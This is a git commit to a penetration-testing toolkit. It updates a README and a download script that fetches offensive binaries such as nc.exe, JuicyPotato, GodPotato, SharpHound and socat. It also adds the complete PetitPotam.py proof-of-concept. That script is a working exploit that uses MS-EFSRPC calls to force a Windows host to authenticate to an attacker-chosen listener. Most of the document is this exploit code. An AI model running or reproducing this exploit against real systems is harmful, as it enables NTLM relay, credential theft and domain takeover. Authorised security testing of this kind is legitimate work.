This commit is contained in:
Roman Hergenreder 2024-02-14 13:00:30 +01:00
parent 1b679b0c37
commit 5006819532
11 changed files with 656 additions and 180 deletions

0
PetitPotam.py Executable file → Normal file

@ -38,6 +38,7 @@ Can be deployed on victim machines to scan the intranet.
- pingscan.py: small python script, which can detect internal hosts via ping probes natively. - pingscan.py: small python script, which can detect internal hosts via ping probes natively.
Can be deployed on victim machines to scan the intranet. Can be deployed on victim machines to scan the intranet.
- [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket) - [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket)
- [socat](https://github.com/3ndG4me/socat)
### Reverse Shell: Payloads ### Reverse Shell: Payloads
- rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...) - rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...)
@ -73,6 +74,8 @@ Can be deployed on victim machines to scan the intranet.
- [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
- [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell) - [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell)
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to @alwayslucky) - [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to @alwayslucky)
- [PetitPotam.py](https://github.com/topotam/PetitPotam)
- [socat.exe](https://github.com/3ndG4me/socat)
### Example API-Usage ### Example API-Usage
TODO: Add some example code or bash commands on how to use the custom libraries, e.g. fileserver, xss_handler, etc. TODO: Add some example code or bash commands on how to use the custom libraries, e.g. fileserver, xss_handler, etc.

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@ -50,6 +50,7 @@ download https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh LinEnum.sh
download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py
echo ""
echo "Updating LinPEAS + WinPEAS…" echo "Updating LinPEAS + WinPEAS…"
peas_version=$(get_latest_version carlospolop/PEASS-ng) peas_version=$(get_latest_version carlospolop/PEASS-ng)
if [ ! -z "$peas_version" ]; then if [ ! -z "$peas_version" ]; then
@ -62,7 +63,20 @@ else
echo "Unable to determine latest PEAS version" echo "Unable to determine latest PEAS version"
fi fi
echo "Updating Chisel…" # TODO: add others
echo ""
echo "Updating windows tools…"
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py win/PetitPotam.py
echo ""
chisel_version=$(get_latest_version jpillora/chisel v) chisel_version=$(get_latest_version jpillora/chisel v)
if [ ! -z "$chisel_version" ]; then if [ ! -z "$chisel_version" ]; then
echo "Got Chisel version: $chisel_version" echo "Got Chisel version: $chisel_version"
@ -74,19 +88,17 @@ else
echo "Unable to determine latest chisel version" echo "Unable to determine latest chisel version"
fi fi
# TODO: add others
echo "Updating windows tools…"
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v) sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v)
if [ ! -z "$sharphound_version" ]; then if [ ! -z "$sharphound_version" ]; then
echo "Got Chisel version: $sharphound_version" echo "Got Sharphound version: $sharphound_version"
download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1 download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1
fi fi
socat_version=$(get_latest_version "3ndG4me/socat" v)
if [ ! -z "$socat_version" ]; then
echo "Got socat version: $socat_version"
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.bin socat
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.bin socat64
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.exe win/socat.exe
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.exe win/socat64.exe
fi

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win/PetitPotam.py Normal file

@ -0,0 +1,461 @@
#!/usr/bin/env python
#
# Author: GILLES Lionel aka topotam (@topotam77)
#
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
# "Most of" the code stolen from dementor.py from @3xocyte ;)
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
show_banner = '''
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
'''
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
('Type', DWORD),
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_HASH_BLOB),
('Display', LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
('Cert', DWORD),
('Users', ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
('Type', DWORD),
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
('Certif', ENCRYPTION_CERTIFICATE),
('Blob', EFS_RPC_BLOB),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
('fileName', WSTR),
('Flag', ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (
('FileName', WSTR),
)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDecryptFileSrv(NDRCALL):
opnum = 5
structure = (
('FileName', WSTR),
('Flag', ULONG),
)
class EfsRpcDecryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryUsersOnFile(NDRCALL):
opnum = 6
structure = (
('FileName', WSTR),
)
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryRecoveryAgents(NDRCALL):
opnum = 7
structure = (
('FileName', WSTR),
)
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcRemoveUsersFromFile(NDRCALL):
opnum = 8
structure = (
('FileName', WSTR),
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
)
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFile(NDRCALL):
opnum = 9
structure = (
('FileName', WSTR),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
)
class EfsRpcAddUsersToFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfo(NDRCALL):
opnum = 12
structure = (
('FileName', WSTR),
('infoClass', DWORD),
)
class EfsRpcFileKeyInfoResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
opnum = 13
structure = (
('SrcFileName', WSTR),
('DestFileName', WSTR),
('dwCreationDisposition', DWORD),
('dwAttributes', DWORD),
('RelativeSD', EFS_RPC_BLOB),
('bInheritHandle', BOOL),
)
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFileEx(NDRCALL):
opnum = 15
structure = (
('dwFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('dwAttributes', DWORD),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
)
class EfsRpcAddUsersToFileExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfoEx(NDRCALL):
opnum = 16
structure = (
('dwFileKeyInfoFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('InfoClass', DWORD),
)
class EfsRpcFileKeyInfoExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
opnum = 18
structure = (
('FileName', WSTR),
)
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
opnum = 19
structure = (
('FileName', WSTR),
('OldEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
)
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileExSrv(NDRCALL):
opnum = 21
structure = (
('FileName', WSTR),
('ProtectorDescriptor', WSTR),
('Flags', ULONG),
)
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
#class EfsRpcQueryProtectors(NDRCALL):
# opnum = 21
# structure = (
# ('FileName', WSTR),
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
# )
#class EfsRpcQueryProtectorsResponse(NDRCALL):
# structure = (
# ('ErrorCode', ULONG),
# )
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
}
class CoerceAuth():
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
binding_params = {
'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'efsr': {
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
},
'samr': {
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'lsass': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'netlogon': {
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp:
rpctransport.setRemoteHost(targetIp)
dce = rpctransport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
try:
dce.connect()
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Connected!")
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Successfully bound!")
return dce
def EfsRpcOpenFileRaw(self, dce, listener):
print("[-] Sending EfsRpcOpenFileRaw!")
try:
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0
#request.dump()
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
#sys.exit()
return None
if str(e).find('rpc_s_access_denied') >= 0:
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
print('[+] OK! Using unpatched function!')
print("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
pass
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
def main():
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
parser.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
parser.add_argument('listener', help='ip address or hostname of listener')
parser.add_argument('target', help='ip address or hostname of target')
options = parser.parse_args()
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
print(show_banner)
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")
plop = CoerceAuth()
if options.pipe == "all":
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
else:
all_pipes = [options.pipe]
for all_pipe in all_pipes:
print("Trying pipe", all_pipe)
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
if dce is not None:
plop.EfsRpcOpenFileRaw(dce, options.listener)
dce.disconnect()
sys.exit()
if __name__ == '__main__':
main()

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